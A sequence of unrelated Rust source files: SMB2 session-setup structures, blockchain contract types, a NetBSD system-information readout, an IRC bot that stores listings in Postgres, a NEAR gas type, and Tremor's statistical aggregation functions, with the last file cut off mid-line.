security_buffer_length: Vec<u8>, /// Buffer (variable): A variable-length buffer that contains the security buffer for the response, /// as specified by SecurityBufferOffset and SecurityBufferLength. /// If the server initiated authentication using SPNEGO, the buffer MUST contain a token as produced /// by the GSS protocol. If the client initiated authentication, the buffer SHOULD contain a token /// as produced by an authentication protocol of the client's choice. pub buffer: Vec<u8>, } impl SessionSetup { /// Creat a new Session Setup instance. pub fn default() -> Self { SessionSetup { structure_size: STRUCTURE_SIZE.to_vec(), session_flags: None, security_buffer_offset: Vec::new(), security_buffer_length: Vec::new(), buffer: Vec::new(), } } } #[derive(Debug, PartialEq, Eq, Clone)] pub enum SessionFlags { IsGuest, IsNull, EncryptData, Zero, } impl SessionFlags { /// Unpack the byte code of session flags. pub fn unpack_byte_code(&self) -> Vec<u8> { match self { SessionFlags::IsGuest => b"\x01\x00".to_vec(), SessionFlags::IsNull => b"\x02\x00".to_vec(), SessionFlags::EncryptData => b"\x04\x00".to_vec(), SessionFlags::Zero => b"\x00\x00".to_vec(), } } /// Maps the session setup response byte code to the corresponding session flag. pub fn map_byte_code_to_session_flags(byte_code: Vec<u8>) -> Self { if let Some(code) = byte_code.get(0) { match code { 0 => SessionFlags::Zero, 1 => SessionFlags::IsGuest, 2 => SessionFlags::IsNull, 4 => SessionFlags::EncryptData, _ => panic!("Invalid session flag."), } } else { panic!("Empty session setup response flag field.") } } }
use std::boxed::Box; use std::collections::HashMap; pub struct Field { name: String, type_name: String, r#type: String, } pub struct Type { name: String, alias_of_name: String, array_of: Box<Type>, optionalOf: Box<Type>, base_name: String, base: String, fields: Vec<Field>, } pub struct Symbol { name: String, precision: usize, } pub struct Contract { actions: HashMap<String, Type>, types: HashMap<String, Type>, } pub struct Authorization { actor: String, permission: String, } pub struct Action { account: String, name: String, authorization: Vec<Authorization>, } pub struct SerializedAction { account: String, name: String, authorization: Vec<Authorization>, data: String, }
use crate::extra; use crate::traits::*; use itertools::Itertools; use nix::unistd; use regex::Regex; use std::fs; use std::path::PathBuf; use std::process::{Command, Stdio}; pub struct NetBSDBatteryReadout; pub struct NetBSDKernelReadout; pub struct NetBSDGeneralReadout; pub struct NetBSDMemoryReadout; pub struct NetBSDProductReadout; pub struct NetBSDPackageReadout; impl BatteryReadout for NetBSDBatteryReadout { fn new() -> Self { NetBSDBatteryReadout } fn percentage(&self) -> Result<u8, ReadoutError> { if extra::which("envstat") { let envstat = Command::new("envstat") .args(&["-s", "acpibat0:charge"]) .stdout(Stdio::piped()) .output() .expect("ERROR: failed to spawn \"envstat\" process"); let envstat_out = String::from_utf8(envstat.stdout) .expect("ERROR: \"envstat\" process stdout was not valid UTF-8"); if envstat_out.is_empty() { return Err(ReadoutError::MetricNotAvailable); } else { let re = Regex::new(r"\(([^()]*)\)").unwrap(); let caps = re.captures(&envstat_out); match caps { Some(c) => { let percentage = c .get(1) .map_or("", |m| m.as_str()) .to_string() .replace(" ", "") .replace("%", ""); let percentage_f = percentage.parse::<f32>().unwrap(); let percentage_i = percentage_f.round() as u8; return Ok(percentage_i); } None => return Err(ReadoutError::MetricNotAvailable), } } } Err(ReadoutError::MetricNotAvailable) } fn status(&self) -> Result<BatteryState, ReadoutError> { if extra::which("envstat") { let envstat = Command::new("envstat") .args(&["-s", "acpibat0:charging"]) .stdout(Stdio::piped()) .output() .expect("ERROR: failed to spawn \"envstat\" process"); let envstat_out = String::from_utf8(envstat.stdout) .expect("ERROR: \"envstat\" process stdout was not valid UTF-8"); if envstat_out.is_empty() { return Err(ReadoutError::MetricNotAvailable); } else { if envstat_out.contains("TRUE") { return Ok(BatteryState::Charging); } else { return Ok(BatteryState::Discharging); } } } Err(ReadoutError::Other(format!("envstat is not installed"))) } } impl KernelReadout for NetBSDKernelReadout { fn new() -> Self { NetBSDKernelReadout } fn os_release(&self) -> Result<String, ReadoutError> { let output = Command::new("sysctl") .args(&["-n", "-b", "kern.osrelease"]) .output() .expect("ERROR: failed to fetch \"kernel.osrelease\" using \"sysctl\""); let osrelease = String::from_utf8(output.stdout) .expect("ERROR: \"sysctl\" process stdout was not valid UTF-8"); Ok(String::from(osrelease)) } fn os_type(&self) -> Result<String, ReadoutError> { let output = Command::new("sysctl") .args(&["-n", "-b", "kern.ostype"]) .output() .expect("ERROR: failed to fetch \"kernel.ostype\" using \"sysctl\""); let osrelease = String::from_utf8(output.stdout) .expect("ERROR: \"sysctl\" process stdout was not valid UTF-8"); Ok(String::from(osrelease)) } fn pretty_kernel(&self) -> Result<String, ReadoutError> { Err(ReadoutError::MetricNotAvailable) } } impl GeneralReadout for NetBSDGeneralReadout { fn new() -> Self { NetBSDGeneralReadout } fn machine(&self) -> Result<String, ReadoutError> { let product_readout = NetBSDProductReadout::new(); let product = product_readout.product()?; let vendor = product_readout.vendor()?; let version = product_readout.version()?; let product = format!("{} {} {}", vendor, product, version).replace("To be filled by O.E.M.", ""); let new_product: Vec<_> = product.split_whitespace().into_iter().unique().collect(); if version == product && version == vendor { return Ok(vendor); } Ok(new_product.into_iter().join(" ")) } fn local_ip(&self) -> Result<String, ReadoutError> { crate::shared::local_ip() } fn username(&self) -> Result<String, ReadoutError> { crate::shared::username() } fn hostname(&self) -> Result<String, ReadoutError> { let mut buf = [0u8; 64]; let hostname_cstr = unistd::gethostname(&mut buf); match hostname_cstr { Ok(hostname_cstr) => { let hostname = hostname_cstr.to_str().unwrap_or("Unknown"); return Ok(String::from(hostname)); } Err(_e) => Err(ReadoutError::Other(String::from( "Failed to retrieve hostname from 'gethostname'.", ))), } } fn distribution(&self) -> Result<String, ReadoutError> { Err(ReadoutError::Warning(String::from( "Since you're on NetBSD, there is no distribution to be read from the system.", ))) } fn desktop_environment(&self) -> Result<String, ReadoutError> { crate::shared::desktop_environment() } fn window_manager(&self) -> Result<String, ReadoutError> { crate::shared::window_manager() } fn terminal(&self) -> Result<String, ReadoutError> { // Fetching terminal information is a three step process: // 1. Get the shell PID, i.e. the PPID of this program // 2. Get the PPID of the shell, i.e. the controlling terminal // 3. Get the command associated with the shell's PPID // 1. Get the shell PID, i.e. the PPID of this program. // This function is always successful. fn get_shell_pid() -> i32 { let pid = unsafe { libc::getppid() }; return pid; } // 2. Get the PPID of the shell, i.e. the cotrolling terminal. fn get_shell_ppid(ppid: i32) -> i32 { let process_path = PathBuf::from("/proc").join(ppid.to_string()).join("status"); if let Ok(content) = fs::read_to_string(process_path) { let ppid = content.split_whitespace().nth(2); if let Some(val) = ppid { if let Ok(c) = val.parse::<i32>() { return c; } } else { return -1; } } -1 } // 3. Get the command associated with the shell's PPID. fn terminal_name() -> String { let terminal_pid = get_shell_ppid(get_shell_pid()); if terminal_pid != -1 { let path = PathBuf::from("/proc") .join(terminal_pid.to_string()) .join("status"); if let Ok(content) = fs::read_to_string(path) { let terminal = content.split_whitespace().next(); if let Some(val) = terminal { return String::from(val); } } } String::new() } let terminal = terminal_name(); if !terminal.is_empty() { return Ok(terminal); } else { return Err(ReadoutError::Other(format!("Failed to get terminal name"))); } } fn shell(&self, shorthand: ShellFormat) -> Result<String, ReadoutError> { crate::shared::shell(shorthand) } fn cpu_model_name(&self) -> Result<String, ReadoutError> { Ok(crate::shared::cpu_model_name()) } fn cpu_cores(&self) -> Result<usize, ReadoutError> { crate::shared::cpu_cores() } fn cpu_physical_cores(&self) -> Result<usize, ReadoutError> { crate::shared::cpu_physical_cores() } fn cpu_usage(&self) -> Result<usize, ReadoutError> { crate::shared::cpu_usage() } fn uptime(&self) -> Result<usize, ReadoutError> { crate::shared::uptime() } fn os_name(&self) -> Result<String, ReadoutError> { let kernel_readout = NetBSDKernelReadout::new(); let os_type = kernel_readout.os_type()?; let os_release = kernel_readout.os_release()?; if !(os_type.is_empty() || os_release.is_empty()) { return Ok(format!("{} {}", os_type, os_release)); } Err(ReadoutError::MetricNotAvailable) } } impl MemoryReadout for NetBSDMemoryReadout { fn new() -> Self { NetBSDMemoryReadout } fn total(&self) -> Result<u64, ReadoutError> { Ok(crate::shared::get_meminfo_value("MemTotal")) } fn free(&self) -> Result<u64, ReadoutError> { Ok(crate::shared::get_meminfo_value("MemFree")) } fn used(&self) -> Result<u64, ReadoutError> { let total = self.total().unwrap(); let free = self.free().unwrap(); Ok(total - free) } } impl ProductReadout for NetBSDProductReadout { fn new() -> Self { NetBSDProductReadout } fn version(&self) -> Result<String, ReadoutError> { let output = Command::new("sysctl") .args(&["-n", "-b", "machdep.dmi.system-version"]) .output() .expect("ERROR: failed to start \"sysctl\" process"); let sysver = String::from_utf8(output.stdout) .expect("ERROR: \"sysctl\" process stdout was not valid UTF-8"); Ok(String::from(sysver)) } fn vendor(&self) -> Result<String, ReadoutError> { let output = Command::new("sysctl") .args(&["-n", "-b", "machdep.dmi.system-vendor"]) .output() .expect("ERROR: failed to start \"sysctl\" process"); let sysven = String::from_utf8(output.stdout) .expect("ERROR: \"sysctl\" process stdout was not valid UTF-8"); Ok(String::from(sysven)) } fn product(&self) -> Result<String, ReadoutError> { let output = Command::new("sysctl") .args(&["-n", "-b", "machdep.dmi.system-product"]) .output() .expect("ERROR: failed to start \"sysctl\" process"); let sysprod = String::from_utf8(output.stdout) .expect("ERROR: \"sysctl\" process stdout was not valid UTF-8"); Ok(String::from(sysprod)) } } impl PackageReadout for NetBSDPackageReadout { fn new() -> Self { NetBSDPackageReadout } fn count_pkgs(&self) -> Vec<(PackageManager, usize)> { let mut packages = Vec::new(); // Instead of having a condition for each distribution. // we will try and extract package count by checking // if a certain package manager is installed if extra::which("pkgin") { match NetBSDPackageReadout::count_pkgin() { Some(c) => packages.push((PackageManager::Pkgsrc, c)), _ => (), } } if extra::which("cargo") { match NetBSDPackageReadout::count_cargo() { Some(c) => packages.push((PackageManager::Cargo, c)), _ => (), } } packages } } impl NetBSDPackageReadout { fn count_pkgin() -> Option<usize> { let pkg_info = Command::new("pkg_info") .stdout(Stdio::piped()) .output() .unwrap(); extra::count_lines( String::from_utf8(pkg_info.stdout) .expect("ERROR: \"pkg_info\" output was not valid UTF-8"), ) } fn count_cargo() -> Option<usize> { crate::shared::count_cargo() } }
extern crate irc; extern crate postgres; use irc::client::prelude::{ClientExt, Command, Config, IrcReactor}; use postgres::{NoTls, Client}; fn main() { // Connect to IRC server println!("[DEBUG] Connecting to IRC server..."); let irc_config = Config::load("config.toml").unwrap(); let mut reactor = IrcReactor::new().unwrap(); let irc_client = reactor.prepare_client_and_connect(&irc_config).unwrap(); irc_client.identify().unwrap(); reactor.register_client_with_handler(irc_client, move |c, m| { // Connect to database let pg_conn = format!( "host={} user={} password={} dbname={}", irc_config.get_option("db_host").unwrap(), irc_config.get_option("db_user").unwrap(), irc_config.get_option("db_pass").unwrap(), irc_config.get_option("db_name").unwrap(), ); let mut pg_client = Client::connect(&pg_conn, NoTls).unwrap(); let src_nick = &m.source_nickname().unwrap_or("none"); let res_target = &m.response_target().unwrap_or("none"); if let Command::NOTICE(channel, message) = &m.command { println!("[{:?}][{}]: {}", res_target, &channel, &message); } if let Command::PRIVMSG(channel, message) = &m.command { let help_msg = vec![ format!("Hey there {}, here's what you can do.", res_target), "Say '!create' followed by the title of your listing to create a new one.".to_string(), "Example: '!create I am offering virtual guitar lessons/sessions'.".to_string(), "Say '!delete' followed by the name or ID of an existing listing.".to_string(), "Example: '!delete I am offering virtual guitar lessons/sessions'".to_string() ]; let help_msg = help_msg.join(" "); // Print user messages to channel println!("[{}][{}]: {}", res_target, src_nick, message); if message.starts_with("!create") { let user_msg = message.split(" "); let mut user_msg: Vec<&str> = user_msg.collect(); user_msg.remove(0); let user_msg = user_msg.join(" "); let query_res = pg_client.query_one( "INSERT INTO posts (nick, post_title) VALUES ($1, $2) RETURNING id", &[&src_nick, &user_msg] ); match query_res { Ok(row) => { let post_id: i32 = row.get("id"); let _ = c.send_privmsg(&channel, format!("Created new post: {}", post_id)); }, Err(err) => { let _ = c.send_privmsg(&channel, format!("There was an error storing to DB! {}", err)); } }; } else if message.starts_with("!delete") { let _ = c.send_privmsg(&channel, "This feature is still being worked on."); } else if message.starts_with("!help") { let _ = c.send_privmsg(&channel, &help_msg); } } Ok(()) }); reactor.run().unwrap(); }
use crate::interface; use near_sdk::{ borsh::{self, BorshDeserialize, BorshSerialize}, }; use std::ops::{Add, Mul}; #[derive( BorshSerialize, BorshDeserialize, Debug, Clone, Copy, Eq, PartialEq, Ord, PartialOrd, Default, )] pub struct Gas(pub u64); /// 1 teraGas pub const TGAS: Gas = Gas(1_000_000_000_000); impl From<u64> for Gas { fn from(value: u64) -> Self { Self(value) } } impl From<interface::Gas> for Gas { fn from(value: interface::Gas) -> Self { Self(value.0 .0) } } impl Gas { pub fn value(&self) -> u64 { self.0 } } impl Add for Gas { type Output = Gas; fn add(self, rhs: Self) -> Self::Output { Self(self.0 + rhs.0) } } impl Mul<u64> for Gas { type Output = Gas; fn mul(self, rhs: u64) -> Self::Output { Self(self.0 * rhs) } }
// Copyright 2020-2021, The Tremor Team // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #![allow(clippy::cast_precision_loss)] use crate::prelude::*; use crate::registry::{ mfa, Aggr as AggrRegistry, FResult, FunctionError, TremorAggrFn, TremorAggrFnWrapper, }; use crate::Value; use halfbrown::hashmap; use hdrhistogram::Histogram; use sketches_ddsketch::{Config as DDSketchConfig, DDSketch}; use std::cmp::max; use std::f64; use std::ops::RangeInclusive; use std::u64; /// Round up. /// /// Round `value` up to accuracy defined by `scale`. /// Positive `scale` defines the number of decimal digits in the result /// while negative `scale` rounds to a whole number and defines the number /// of trailing zeroes in the result. /// /// # Arguments /// /// * `value` - value to round /// * `scale` - result accuracy /// /// taken from <https://github.com/0x022b/libmath-rs/blob/af3aff7e1500e5f801e73f3c464ea7bf81ec83c7/src/round.rs> pub fn ceil(value: f64, scale: i8) -> f64 { let multiplier = 10_f64.powi(i32::from(scale)) as f64; (value * multiplier).ceil() / multiplier } #[derive(Clone, Debug, Default)] struct Count(i64); impl TremorAggrFn for Count { fn accumulate<'event>(&mut self, _args: &[&Value<'event>]) -> FResult<()> { self.0 += 1; Ok(()) } // fn compensate<'event>(&mut self, _args: &[&Value<'event>]) -> FResult<()> { // self.0 -= 1; // Ok(()) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { Ok(Value::from(self.0)) } fn init(&mut self) { self.0 = 0; } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it self.0 += other.0; } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 0..=0 } } #[derive(Clone, Debug, Default)] struct Sum(f64); impl TremorAggrFn for Sum { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { args.first().cast_f64().map_or_else( || { Err(FunctionError::BadType { mfa: mfa("stats", "sum", 1), }) }, |v| { self.0 += v; Ok(()) }, ) } // fn compensate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { // args.first().cast_f64().map_or_else( // || { // Err(FunctionError::BadType { // mfa: mfa("stats", "sum", 1), // }) // }, // |v| { // self.0 -= v; // Ok(()) // }, // ) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { Ok(Value::from(self.0)) } fn init(&mut self) { self.0 = 0.0; } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it self.0 += other.0; } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=1 } } #[derive(Clone, Debug, Default)] struct Mean(i64, f64); impl TremorAggrFn for Mean { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { args.first().cast_f64().map_or_else( || { Err(FunctionError::BadType { mfa: mfa("stats", "mean", 1), }) }, |v| { self.1 += v; self.0 += 1; Ok(()) }, ) } // fn compensate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { // self.0 -= 1; // args.first().cast_f64().map_or_else( // || { // Err(FunctionError::BadType { // mfa: mfa("stats", "mean", 1), // }) // }, // |v| { // self.1 -= v; // Ok(()) // }, // ) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { if self.0 == 0 { Ok(Value::null()) } else { Ok(Value::from(self.1 / (self.0 as f64))) } } fn init(&mut self) { self.0 = 0; self.1 = 0.0; } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it self.0 += other.0; self.1 += other.1; } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=1 } } #[derive(Clone, Debug, Default)] struct Min(Option<f64>); impl TremorAggrFn for Min { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { args.first().cast_f64().map_or_else( || { Err(FunctionError::BadType { mfa: mfa("stats", "min", 1), }) }, |v| { if self.0.is_none() || Some(v) < self.0 { self.0 = Some(v); }; Ok(()) }, ) } // fn compensate<'event>(&mut self, _args: &[&Value<'event>]) -> FResult<()> { // // TODO: how? // // [a, b, c, d, e, f, g, h, i, j]; // // a -> [(0, a)] // // b -> [(0, a), (1, b)] // // c -> [(0, a), (1, b), (2, c)] ... // // [d, t, u, a, t, u, b, c, 6]; // // d -> [(0, d)] // // t -> [(0, d), (1, t)] // // u -> [(0, d), (1, t), (2, u)] ... // // a -> [(3, a)] ... // // t -> [(3, a), (4, t)] ... // // u -> [(3, a), (4, t), (5, u)] ... // // b -> [(3, a), (5, b)] ... // Ok(()) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { Ok(Value::from(self.0.unwrap_or_default())) } fn init(&mut self) { self.0 = None; } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it if other.0 < self.0 { self.0 = other.0; } } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=1 } } #[derive(Clone, Debug, Default)] struct Max(Option<f64>); impl TremorAggrFn for Max { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { args.first().cast_f64().map_or_else( || { Err(FunctionError::BadType { mfa: mfa("stats", "max", 1), }) }, |v| { if self.0.is_none() || Some(v) > self.0 { self.0 = Some(v); }; Ok(()) }, ) } // fn compensate<'event>(&mut self, _args: &[&Value<'event>]) -> FResult<()> { // // TODO: how? // Ok(()) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { Ok(Value::from(self.0.unwrap_or_default())) } fn init(&mut self) { self.0 = None; } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it if other.0 > self.0 { self.0 = other.0; } } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=1 } } #[derive(Clone, Debug, Default)] struct Var { n: u64, k: f64, ex: f64, ex2: f64, } impl TremorAggrFn for Var { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { args.first().cast_f64().map_or_else( || { Err(FunctionError::BadType { mfa: mfa("stats", "var", 1), }) }, |v| { if self.n == 0 { self.k = v; } self.n += 1; self.ex += v - self.k; self.ex2 += (v - self.k) * (v - self.k); Ok(()) }, ) } // fn compensate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { // args.first().cast_f64().map_or_else( // || { // Err(FunctionError::BadType { // mfa: mfa("stats", "var", 1), // }) // }, // |v| { // self.n -= 1; // self.ex -= v - self.k; // self.ex2 -= (v - self.k) * (v - self.k); // Ok(()) // }, // ) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { if self.n == 0 { Ok(Value::from(0.0)) } else { let n = self.n as f64; Ok(Value::from( (self.ex2 - (self.ex * self.ex) / n) / (n - 1.0), )) } } fn init(&mut self) { self.n = 0; self.k = 0.0; self.ex = 0.0; self.ex2 = 0.0; } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { self.n += other.n; self.k += other.k; self.ex += other.ex; self.ex2 += other.ex2; } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=1 } } #[derive(Clone, Debug, Default)] struct Stdev(Var); impl TremorAggrFn for Stdev { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { self.0.accumulate(args) } // fn compensate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { // self.0.compensate(args) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { self.0 .emit() .map(|v| v.as_f64().map_or(v, |v| Value::from(v.sqrt()))) } fn init(&mut self) { self.0.init(); } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it self.0.merge(&other.0)?; } Ok(()) } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=1 } } struct Dds { histo: Option<DDSketch>, cache: Vec<f64>, percentiles: Vec<(String, f64)>, percentiles_set: bool, // digits_significant_precision: usize, } impl std::clone::Clone for Dds { // DDSKetch does not implement clone fn clone(&self) -> Self { Self { histo: match &self.histo { Some(dds) => { let config = DDSketchConfig::defaults(); let mut histo = DDSketch::new(config); histo.merge(dds).ok(); Some(histo) } None => None, }, cache: self.cache.clone(), percentiles: self.percentiles.clone(), percentiles_set: self.percentiles_set, // digits_significant_precision: 2, } } } impl std::default::Default for Dds { fn default() -> Self { Self { histo: None, cache: Vec::with_capacity(HIST_INITIAL_CACHE_SIZE), percentiles: vec![ ("0.5".to_string(), 0.5), ("0.9".to_string(), 0.9), ("0.95".to_string(), 0.95), ("0.99".to_string(), 0.99), ("0.999".to_string(), 0.999), ("0.9999".to_string(), 0.9999), ("0.99999".to_string(), 0.99999), ], percentiles_set: false, // digits_significant_precision: 2, } } } impl TremorAggrFn for Dds { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { if !self.percentiles_set { if let Some(vals) = args.get(1).as_array() { let percentiles: FResult<Vec<(String, f64)>> = vals .iter() .filter_map(|v| v.as_str().map(String::from)) .map(|s| { let p = s.parse().map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "dds", 2), error: format!("Provided percentile '{}' isn't a float: {}", s, e), })?; Ok((s, p)) }) .collect(); self.percentiles = percentiles?; self.percentiles_set = true; } } if let Some(v) = args.first().cast_f64() { if v < 0.0 { return Ok(()); } else if let Some(ref mut histo) = self.histo { histo.add(v); } else { self.cache.push(v); if self.cache.len() == HIST_MAX_CACHE_SIZE { let mut histo: DDSketch = DDSketch::new(DDSketchConfig::defaults()); for v in self.cache.drain(..) { histo.add(v); } } } } Ok(()) } fn emit<'event>(&mut self) -> FResult<Value<'event>> { fn err<T>(e: &T) -> FunctionError where T: ToString, { FunctionError::RuntimeError { mfa: mfa("stats", "dds", 2), error: e.to_string(), } } let mut p = Value::object_with_capacity(self.percentiles.len() + 3); let histo = if let Some(histo) = self.histo.as_ref() { histo } else { let mut histo: DDSketch = DDSketch::new(DDSketchConfig::defaults()); for v in self.cache.drain(..) { histo.add(v); } self.histo = Some(histo); if let Some(histo) = self.histo.as_ref() { histo } else { // ALLOW: we just set it, we know it exists unreachable!() } }; let count = histo.count(); let (min, max, sum) = if count == 0 { for (pcn, _percentile) in &self.percentiles { p.try_insert(pcn.clone(), 0.0); } (0_f64, 0_f64, 0_f64) } else { for (pcn, percentile) in &self.percentiles { let quantile = histo.quantile(*percentile).ok().flatten().ok_or_else(|| { err(&format!("Unable to calculate percentile '{}'", *percentile)) })?; let quantile_dsp = ceil(quantile, 1); // Round for equiv with HDR ( 2 digits ) p.try_insert(pcn.clone(), quantile_dsp); } ( histo.min().ok_or_else(|| err(&"Unable to calculate min"))?, histo.max().ok_or_else(|| err(&"Unable to calculate max"))?, histo.sum().ok_or_else(|| err(&"Unable to calculate sum"))?, ) }; let mut res = Value::object_with_capacity(5); res.try_insert("count", count); res.try_insert("min", min); res.try_insert("max", max); res.try_insert("mean", sum / count as f64); res.try_insert("percentiles", p); Ok(res) } // fn compensate<'event>(&mut self, _args: &[&Value<'event>]) -> FResult<()> { // // TODO there's no facility for this with dds histogram, punt for now // Ok(()) // } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { let other: Option<&Self> = src.downcast_ref::<Self>(); if let Some(other) = other { if !self.percentiles_set { self.percentiles = other.percentiles.clone(); self.percentiles_set = true; }; if let Some(ref mut histo) = self.histo { // If this is a histogram and we merge if let Some(ref other) = other.histo { // If the other was also a histogram merge them histo.merge(other).ok(); } else { // if the other was still a cache add it's values for v in &other.cache { histo.add(*v); } } } else { // If we were a cache match other.histo { Some(ref other) => { // If the other was a histogram clone it and empty our values let mut histo: DDSketch = DDSketch::new(DDSketchConfig::defaults()); histo.merge(other).ok(); for v in self.cache.drain(..) { histo.add(v); } self.histo = Some(histo); } None => { // If both are caches if self.cache.len() + other.cache.len() > HIST_MAX_CACHE_SIZE { // If the cache size exceeds our maximal cache size drain them into a histogram let mut histo: DDSketch = DDSketch::new(DDSketchConfig::defaults()); for v in self.cache.drain(..) { histo.add(v); } for v in &other.cache { histo.add(*v); } self.histo = Some(histo); } else { // If not append it's cache self.cache.extend(&other.cache); } } } } } Ok(()) } fn init(&mut self) { self.histo = None; self.cache.clear(); } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=2 } } #[derive(Clone)] struct Hdr { histo: Option<Histogram<u64>>, cache: Vec<u64>, percentiles: Vec<(String, f64)>, percentiles_set: bool, high_bound: u64, } const HIST_MAX_CACHE_SIZE: usize = 8192; const HIST_INITIAL_CACHE_SIZE: usize = 128; impl std::default::Default for Hdr { fn default() -> Self { Self { //ALLOW: this values have been tested so an error can never be returned histo: None, cache: Vec::with_capacity(HIST_INITIAL_CACHE_SIZE), percentiles: vec![ ("0.5".to_string(), 0.5), ("0.9".to_string(), 0.9), ("0.95".to_string(), 0.95), ("0.99".to_string(), 0.99), ("0.999".to_string(), 0.999), ("0.9999".to_string(), 0.9999), ("0.99999".to_string(), 0.99999), ], percentiles_set: false, high_bound: 0, } } } impl Hdr { fn high_bound(&self) -> u64 { max(self.high_bound, 4) } } impl TremorAggrFn for Hdr { fn accumulate<'event>(&mut self, args: &[&Value<'event>]) -> FResult<()> { if let Some(vals) = args.get(1).as_array() { if !self.percentiles_set { let percentiles: FResult<Vec<(String, f64)>> = vals .iter() .filter_map(|v| v.as_str().map(String::from)) .map(|s| { let p = s.parse().map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("Provided percentile '{}' isn't a float: {}", s, e), })?; Ok((s, p)) }) .collect(); self.percentiles = percentiles?; self.percentiles_set = true; } } if let Some(v) = args.first().cast_f64() { if v < 0.0 { return Ok(()); } #[allow(clippy::cast_possible_truncation, clippy::cast_sign_loss)] let v = v as u64; // TODO add f64 support to HDR Histogram create - oss if let Some(ref mut histo) = self.histo { histo.record(v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: {:?}", e), })?; } else { if v > self.high_bound { self.high_bound = v; } self.cache.push(v); if self.cache.len() == HIST_MAX_CACHE_SIZE { let mut histo: Histogram<u64> = Histogram::new_with_bounds(1, self.high_bound(), 2).map_err(|e| { FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to allocate hdr storage: {:?}", e), } })?; histo.auto(true); for v in self.cache.drain(..) { histo.record(v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: {:?}", e), })?; } } } } Ok(()) } fn merge(&mut self, src: &dyn TremorAggrFn) -> FResult<()> { if let Some(other) = src.downcast_ref::<Self>() { // On self is earlier then other, so as long // as other has a value we take it if !self.percentiles_set { self.percentiles = other.percentiles.clone(); self.percentiles_set = true; }; self.high_bound = max(self.high_bound, other.high_bound); if let Some(ref mut histo) = self.histo { // If this is a histogram and we merge if let Some(ref other) = other.histo { // If the other was also a histogram merge them histo.add(other).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to merge histograms: {:?}", e), })?; } else { // if the other was still a cache add it's values for v in &other.cache { histo.record(*v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: {:?}", e), })?; } } } else { // If we were a cache if let Some(ref other) = other.histo { // If the other was a histogram clone it and empty our values let mut histo = other.clone(); for v in self.cache.drain(..) { histo.record(v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: 